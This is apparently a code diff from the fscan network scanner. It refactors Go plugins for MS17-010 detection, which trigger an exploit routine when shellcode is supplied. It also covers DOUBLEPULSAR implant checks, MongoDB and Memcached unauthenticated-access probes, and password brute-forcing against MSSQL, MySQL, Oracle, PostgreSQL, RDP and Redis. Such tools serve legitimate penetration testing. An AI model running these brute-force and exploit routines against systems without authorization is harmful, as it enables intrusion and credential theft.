var Err = errors.New("can't determine whether target is vulnerable or not")
return Err
} }
// extract OS info // 提取操作系统信息
var os string var os string
sessionSetupResponse := reply[36:n] sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 { if wordCount := sessionSetupResponse[0]; wordCount != 0 {
// find byte count
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 { if n != int(byteCount)+45 {
fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response") fmt.Printf("[-] %s:445 MS17010无效的会话响应\n", ip)
} else { } else {
// two continous null bytes indicates end of a unicode string // 查找Unicode字符串结束标记(两个连续的0字节)
for i := 10; i < len(sessionSetupResponse)-1; i++ { for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 { if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i]) os = string(sessionSetupResponse[10:i])
@ -98,68 +161,71 @@ func MS17010Scan(info *common.HostInfo) error {
} }
} }
} }
} }
// 获取用户ID
userID := reply[32:34] userID := reply[32:34]
treeConnectRequest[32] = userID[0] treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1] treeConnectRequest[33] = userID[1]
// TODO change the ip in tree path though it doesn't matter
_, err = conn.Write(treeConnectRequest) // 发送树连接请求
if err != nil { if _, err = conn.Write(treeConnectRequest); err != nil {
return err return err
} }
if n, err := conn.Read(reply); err != nil || n < 36 { if n, err := conn.Read(reply); err != nil || n < 36 {
return err return err
} }
// 获取树ID并设置后续请求
treeID := reply[28:30] treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0] transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1] transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0] transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1] transNamedPipeRequest[33] = userID[1]
_, err = conn.Write(transNamedPipeRequest) // 发送命名管道请求
if err != nil { if _, err = conn.Write(transNamedPipeRequest); err != nil {
return err return err
} }
if n, err := conn.Read(reply); err != nil || n < 36 { if n, err := conn.Read(reply); err != nil || n < 36 {
return err return err
} }
// 检查漏洞状态
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) // 目标存在MS17-010漏洞
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os))
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
result := fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os) // 如果指定了shellcode,执行漏洞利用
common.LogSuccess(result)
defer func() { defer func() {
if common.SC != "" { if Common.SC != "" {
MS17010EXP(info) MS17010EXP(info)
} }
}() }()
// detect present of DOUBLEPULSAR SMB implant
// 检测DOUBLEPULSAR后门
trans2SessionSetupRequest[28] = treeID[0] trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1] trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0] trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1] trans2SessionSetupRequest[33] = userID[1]
_, err = conn.Write(trans2SessionSetupRequest) if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
if err != nil {
return err return err
} }
if n, err := conn.Read(reply); err != nil || n < 36 { if n, err := conn.Read(reply); err != nil || n < 36 {
return err return err
} }
if reply[34] == 0x51 { if reply[34] == 0x51 {
result := fmt.Sprintf("[+] MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", ip) Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s 存在DOUBLEPULSAR后门", ip))
common.LogSuccess(result)
} }
} else { } else {
result := fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os) // 未检测到漏洞,仅输出系统信息
common.LogSuccess(result) Common.LogSuccess(fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os))
} }
return err
return err
} }

81
Plugins/MSSQL.go Normal file
View File

@ -0,0 +1,81 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MssqlScan 执行MSSQL服务扫描
func MssqlScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
starttime := time.Now().Unix()
// 尝试用户名密码组合
for _, user := range Common.Userdict["mssql"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MssqlConn(info, user, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mssql"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
}
return tmperr
}
// MssqlConn 尝试MSSQL连接
func MssqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf(
"server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v",
host, username, password, port, timeout,
)
// 建立数据库连接
db, err := sql.Open("mssql", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
// 连接成功
result := fmt.Sprintf("[+] MSSQL %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}

48
Plugins/Memcached.go Normal file
View File

@ -0,0 +1,48 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MemcachedScan 检测Memcached未授权访问
func MemcachedScan(info *Common.HostInfo) error {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
timeout := time.Duration(Common.Timeout) * time.Second
// 建立TCP连接
client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout)
if err != nil {
return err
}
defer client.Close()
// 设置超时时间
if err := client.SetDeadline(time.Now().Add(timeout)); err != nil {
return err
}
// 发送stats命令
if _, err := client.Write([]byte("stats\n")); err != nil {
return err
}
// 读取响应
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err != nil {
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
Common.LogError(errlog)
return err
}
// 检查响应内容
if strings.Contains(string(rev[:n]), "STAT") {
result := fmt.Sprintf("[+] Memcached %s 未授权访问", realhost)
Common.LogSuccess(result)
}
return nil
}

View File

@ -2,27 +2,85 @@ package Plugins
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/Common"
"strings" "strings"
"time" "time"
) )
func MongodbScan(info *common.HostInfo) error { // MongodbScan 执行MongoDB未授权扫描
if common.IsBrute { func MongodbScan(info *Common.HostInfo) error {
if Common.IsBrute {
return nil return nil
} }
_, err := MongodbUnauth(info) _, err := MongodbUnauth(info)
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err) errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog) Common.LogError(errlog)
} }
return err return err
} }
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { // MongodbUnauth 检测MongoDB未授权访问
flag = false func MongodbUnauth(info *Common.HostInfo) (bool, error) {
// op_msg // MongoDB查询数据包
packet1 := []byte{ msgPacket := createOpMsgPacket()
queryPacket := createOpQueryPacket()
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
// 尝试OP_MSG查询
reply, err := checkMongoAuth(realhost, msgPacket)
if err != nil {
// 失败则尝试OP_QUERY查询
reply, err = checkMongoAuth(realhost, queryPacket)
if err != nil {
return false, err
}
}
// 检查响应结果
if strings.Contains(reply, "totalLinesWritten") {
result := fmt.Sprintf("[+] MongoDB %v 未授权访问", realhost)
Common.LogSuccess(result)
return true, nil
}
return false, nil
}
// checkMongoAuth 检查MongoDB认证状态
func checkMongoAuth(address string, packet []byte) (string, error) {
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", address, time.Duration(Common.Timeout)*time.Second)
if err != nil {
return "", err
}
defer conn.Close()
// 设置超时时间
if err := conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return "", err
}
// 发送查询包
if _, err := conn.Write(packet); err != nil {
return "", err
}
// 读取响应
reply := make([]byte, 1024)
count, err := conn.Read(reply)
if err != nil {
return "", err
}
return string(reply[:count]), nil
}
// createOpMsgPacket 创建OP_MSG查询包
func createOpMsgPacket() []byte {
return []byte{
0x69, 0x00, 0x00, 0x00, // messageLength 0x69, 0x00, 0x00, 0x00, // messageLength
0x39, 0x00, 0x00, 0x00, // requestID 0x39, 0x00, 0x00, 0x00, // requestID
0x00, 0x00, 0x00, 0x00, // responseTo 0x00, 0x00, 0x00, 0x00, // responseTo
@ -31,8 +89,11 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
// sections db.adminCommand({getLog: "startupWarnings"}) // sections db.adminCommand({getLog: "startupWarnings"})
0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
} }
//op_query }
packet2 := []byte{
// createOpQueryPacket 创建OP_QUERY查询包
func createOpQueryPacket() []byte {
return []byte{
0x48, 0x00, 0x00, 0x00, // messageLength 0x48, 0x00, 0x00, 0x00, // messageLength
0x02, 0x00, 0x00, 0x00, // requestID 0x02, 0x00, 0x00, 0x00, // requestID
0x00, 0x00, 0x00, 0x00, // responseTo 0x00, 0x00, 0x00, 0x00, // responseTo
@ -44,43 +105,4 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
// query db.adminCommand({getLog: "startupWarnings"}) // query db.adminCommand({getLog: "startupWarnings"})
0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
} }
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
checkUnAuth := func(address string, packet []byte) (string, error) {
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {
return "", err
}
defer conn.Close()
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return "", err
}
_, err = conn.Write(packet)
if err != nil {
return "", err
}
reply := make([]byte, 1024)
count, err := conn.Read(reply)
if err != nil {
return "", err
}
return string(reply[0:count]), nil
}
// send OP_MSG first
reply, err := checkUnAuth(realhost, packet1)
if err != nil {
reply, err = checkUnAuth(realhost, packet2)
if err != nil {
return flag, err
}
}
if strings.Contains(reply, "totalLinesWritten") {
flag = true
result := fmt.Sprintf("[+] Mongodb %v unauthorized", realhost)
common.LogSuccess(result)
}
return flag, err
} }

81
Plugins/MySQL.go Normal file
View File

@ -0,0 +1,81 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MysqlScan 执行MySQL服务扫描
func MysqlScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
starttime := time.Now().Unix()
// 尝试用户名密码组合
for _, user := range Common.Userdict["mysql"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MysqlConn(info, user, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mysql"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
}
return tmperr
}
// MysqlConn 尝试MySQL连接
func MysqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf(
"%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v",
username, password, host, port, timeout,
)
// 建立数据库连接
db, err := sql.Open("mysql", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
// 连接成功
result := fmt.Sprintf("[+] MySQL %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}

View File

@ -4,7 +4,7 @@ import (
"bytes" "bytes"
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/Common"
"gopkg.in/yaml.v3" "gopkg.in/yaml.v3"
"net" "net"
"strconv" "strconv"
@ -14,18 +14,18 @@ import (
var errNetBIOS = errors.New("netbios error") var errNetBIOS = errors.New("netbios error")
func NetBIOS(info *common.HostInfo) error { func NetBIOS(info *Common.HostInfo) error {
netbios, _ := NetBIOS1(info) netbios, _ := NetBIOS1(info)
output := netbios.String() output := netbios.String()
if len(output) > 0 { if len(output) > 0 {
result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output) result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output)
common.LogSuccess(result) Common.LogSuccess(result)
return nil return nil
} }
return errNetBIOS return errNetBIOS
} }
func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
netbios, err = GetNbnsname(info) netbios, err = GetNbnsname(info)
var payload0 []byte var payload0 []byte
if netbios.ServerService != "" || netbios.WorkstationService != "" { if netbios.ServerService != "" || netbios.WorkstationService != "" {
@ -40,12 +40,12 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
} }
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
var conn net.Conn var conn net.Conn
conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) conn, err = Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil { if err != nil {
return return
} }
defer conn.Close() defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
if err != nil { if err != nil {
return return
} }
@ -84,16 +84,16 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
return return
} }
func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) { func GetNbnsname(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01") //senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
realhost := fmt.Sprintf("%s:137", info.Host) realhost := fmt.Sprintf("%s:137", info.Host)
conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second) conn, err := net.DialTimeout("udp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil { if err != nil {
return return
} }
defer conn.Close() defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
if err != nil { if err != nil {
return return
} }

79
Plugins/Oracle.go Normal file
View File

@ -0,0 +1,79 @@
package Plugins
import (
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/Common"
_ "github.com/sijms/go-ora/v2"
"strings"
"time"
)
// OracleScan 执行Oracle服务扫描
func OracleScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
starttime := time.Now().Unix()
// 尝试用户名密码组合
for _, user := range Common.Userdict["oracle"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := OracleConn(info, user, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["oracle"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
}
return tmperr
}
// OracleConn 尝试Oracle连接
func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl",
username, password, host, port)
// 建立数据库连接
db, err := sql.Open("oracle", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
// 连接成功
result := fmt.Sprintf("[+] Oracle %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}

79
Plugins/Postgres.go Normal file
View File

@ -0,0 +1,79 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// PostgresScan 执行PostgreSQL服务扫描
func PostgresScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
starttime := time.Now().Unix()
// 尝试用户名密码组合
for _, user := range Common.Userdict["postgresql"] {
for _, pass := range Common.Passwords {
// 替换密码中的用户名占位符
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := PostgresConn(info, user, pass)
if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["postgresql"])*len(Common.Passwords)) * Common.Timeout) {
return err
}
}
}
return tmperr
}
// PostgresConn 尝试PostgreSQL连接
func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf(
"postgres://%v:%v@%v:%v/postgres?sslmode=disable",
username, password, host, port,
)
// 建立数据库连接
db, err := sql.Open("postgres", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
// 连接成功
result := fmt.Sprintf("[+] PostgreSQL %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}

243
Plugins/RDP.go Normal file
View File

@ -0,0 +1,243 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
"github.com/tomatome/grdp/protocol/nla"
"github.com/tomatome/grdp/protocol/pdu"
"github.com/tomatome/grdp/protocol/rfb"
"github.com/tomatome/grdp/protocol/sec"
"github.com/tomatome/grdp/protocol/t125"
"github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224"
"log"
"net"
"os"
"strconv"
"strings"
"sync"
"time"
)
// Brutelist 表示暴力破解的用户名密码组合
type Brutelist struct {
user string
pass string
}
// RdpScan 执行RDP服务扫描
func RdpScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
return
}
var (
wg sync.WaitGroup
signal bool
num = 0
all = len(Common.Userdict["rdp"]) * len(Common.Passwords)
mutex sync.Mutex
)
// 创建任务通道
brlist := make(chan Brutelist)
port, _ := strconv.Atoi(info.Ports)
// 启动工作协程
for i := 0; i < Common.BruteThread; i++ {
wg.Add(1)
go worker(info.Host, Common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, Common.Timeout)
}
// 分发扫描任务
for _, user := range Common.Userdict["rdp"] {
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
brlist <- Brutelist{user, pass}
}
}
close(brlist)
// 等待所有任务完成
go func() {
wg.Wait()
signal = true
}()
for !signal {
}
return tmperr
}
// worker RDP扫描工作协程
func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist,
signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) {
defer wg.Done()
for one := range brlist {
if *signal {
return
}
go incrNum(num, mutex)
user, pass := one.user, one.pass
flag, err := RdpConn(host, domain, user, pass, port, timeout)
if flag && err == nil {
// 连接成功
var result string
if domain != "" {
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
} else {
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass)
}
Common.LogSuccess(result)
*signal = true
return
}
// 连接失败
errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err)
Common.LogError(errlog)
}
}
// incrNum 线程安全地增加计数器
func incrNum(num *int, mutex *sync.Mutex) {
mutex.Lock()
*num++
mutex.Unlock()
}
// RdpConn 尝试RDP连接
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
target := fmt.Sprintf("%s:%d", ip, port)
// 创建RDP客户端
client := NewClient(target, glog.NONE)
if err := client.Login(domain, user, password, timeout); err != nil {
return false, err
}
return true, nil
}
// Client RDP客户端结构
type Client struct {
Host string // 服务地址(ip:port)
tpkt *tpkt.TPKT // TPKT协议层
x224 *x224.X224 // X224协议层
mcs *t125.MCSClient // MCS协议层
sec *sec.Client // 安全层
pdu *pdu.Client // PDU协议层
vnc *rfb.RFB // VNC协议(可选)
}
// NewClient 创建新的RDP客户端
func NewClient(host string, logLevel glog.LEVEL) *Client {
// 配置日志
glog.SetLevel(logLevel)
logger := log.New(os.Stdout, "", 0)
glog.SetLogger(logger)
return &Client{
Host: host,
}
}
// Login 执行RDP登录
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
if err != nil {
return fmt.Errorf("[连接错误] %v", err)
}
defer conn.Close()
glog.Info(conn.LocalAddr().String())
// 初始化协议栈
g.initProtocolStack(conn, domain, user, pwd)
// 建立X224连接
if err = g.x224.Connect(); err != nil {
return fmt.Errorf("[X224连接错误] %v", err)
}
glog.Info("等待连接建立...")
// 等待连接完成
wg := &sync.WaitGroup{}
breakFlag := false
wg.Add(1)
// 设置事件处理器
g.setupEventHandlers(wg, &breakFlag, &err)
wg.Wait()
return err
}
// initProtocolStack 初始化RDP协议栈
func (g *Client) initProtocolStack(conn net.Conn, domain, user, pwd string) {
// 创建协议层实例
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
g.x224 = x224.New(g.tpkt)
g.mcs = t125.NewMCSClient(g.x224)
g.sec = sec.NewClient(g.mcs)
g.pdu = pdu.NewClient(g.sec)
// 设置认证信息
g.sec.SetUser(user)
g.sec.SetPwd(pwd)
g.sec.SetDomain(domain)
// 配置协议层关联
g.tpkt.SetFastPathListener(g.sec)
g.sec.SetFastPathListener(g.pdu)
g.pdu.SetFastPathSender(g.tpkt)
}
// setupEventHandlers 设置PDU事件处理器
func (g *Client) setupEventHandlers(wg *sync.WaitGroup, breakFlag *bool, err *error) {
// 错误处理
g.pdu.On("error", func(e error) {
*err = e
glog.Error("错误:", e)
g.pdu.Emit("done")
})
// 连接关闭
g.pdu.On("close", func() {
*err = errors.New("连接关闭")
glog.Info("连接已关闭")
g.pdu.Emit("done")
})
// 连接成功
g.pdu.On("success", func() {
*err = nil
glog.Info("连接成功")
g.pdu.Emit("done")
})
// 连接就绪
g.pdu.On("ready", func() {
glog.Info("连接就绪")
g.pdu.Emit("done")
})
// 屏幕更新
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
glog.Info("屏幕更新:", rectangles)
})
// 完成处理
g.pdu.On("done", func() {
if !*breakFlag {
*breakFlag = true
wg.Done()
}
})
}

View File

@ -3,7 +3,7 @@ package Plugins
import ( import (
"bufio" "bufio"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/Common"
"io" "io"
"net" "net"
"os" "os"
@ -12,159 +12,225 @@ import (
) )
var ( var (
dbfilename string dbfilename string // Redis数据库文件名
dir string dir string // Redis数据库目录
) )
func RedisScan(info *common.HostInfo) (tmperr error) { // RedisScan 执行Redis服务扫描
func RedisScan(info *Common.HostInfo) (tmperr error) {
fmt.Println("[+] Redis扫描模块开始...")
starttime := time.Now().Unix() starttime := time.Now().Unix()
// 尝试无密码连接
flag, err := RedisUnauth(info) flag, err := RedisUnauth(info)
if flag == true && err == nil { if flag && err == nil {
return err return err
} }
if common.IsBrute {
if Common.IsBrute {
return return
} }
for _, pass := range common.Passwords {
// 尝试密码暴力破解
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1) pass = strings.Replace(pass, "{user}", "redis", -1)
flag, err := RedisConn(info, pass) flag, err := RedisConn(info, pass)
if flag == true && err == nil { if flag && err == nil {
return err
}
// 记录错误信息
errlog := fmt.Sprintf("[-] Redis %v:%v %v %v", info.Host, info.Ports, pass, err)
Common.LogError(errlog)
tmperr = err
if Common.CheckErrs(err) {
return err
}
// 超时检查
if time.Now().Unix()-starttime > (int64(len(Common.Passwords)) * Common.Timeout) {
return err return err
} else {
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) {
return err
}
} }
} }
fmt.Println("[+] Redis扫描模块结束...")
return tmperr return tmperr
} }
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) { // RedisConn 尝试Redis连接
